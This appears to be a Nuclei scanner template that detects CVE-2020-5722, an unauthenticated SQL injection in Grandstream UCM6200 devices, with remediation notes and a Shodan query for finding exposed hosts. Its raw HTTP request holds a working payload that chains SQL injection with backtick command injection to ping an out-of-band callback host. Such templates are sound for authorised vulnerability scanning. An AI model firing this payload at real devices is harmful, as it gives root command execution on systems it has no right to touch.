Grandstream UCM6200 - SQL Injection

id: CVE-2020-5722

info:
  name: Grandstream UCM6200 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Grandstream UCM6200 series contains an unauthenticated remote SQL injection caused by crafted HTTP requests, letting attackers execute shell commands as root on versions before 1.0.19.20 or inject HTML in emails before 1.0.20.17.
  impact: |
    Attackers can execute root shell commands or inject malicious HTML, leading to full device compromise or phishing attacks.
  remediation: |
    Update to version 1.0.19.20 or later for root command execution fix, and version 1.0.20.17 or later for email injection fix.
  reference:
    - https://threatprotect.qualys.com/2020/04/01/grandstream-ucm62xx-remote-code-execution-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5722
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-5722
    epss-score: 0.83926
    epss-percentile: 0.9966
    cwe-id: CWE-89
  metadata:
    verified: false
    max-request: 1
    shodan-query: 'ssl:"Grandstream" "Set-Cookie: TRACKID"'
  tags: cve,cve2020,grandstream,sqli,rce,vuln,kev,vkev

http:
  - raw:
      - |
        POST /cgi? HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 87

        action=sendPasswordEmail&user_name=admin'+or+1=1--`;`ping${IFS}{{interactsh-url}}`;`

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'interactsh_protocol == "dns"'
        condition: and
# digest: 4a0a00473045022100b723a9d6785debaae4f7e3768acd9a46963f0ae3974e5f24bc93cf577e192c8c02201d0f44eaa7f23e0e6514cc0497ed63be903a188f228894370f79f169ea64b32b:922c64590222798bb761d5b6d8e72950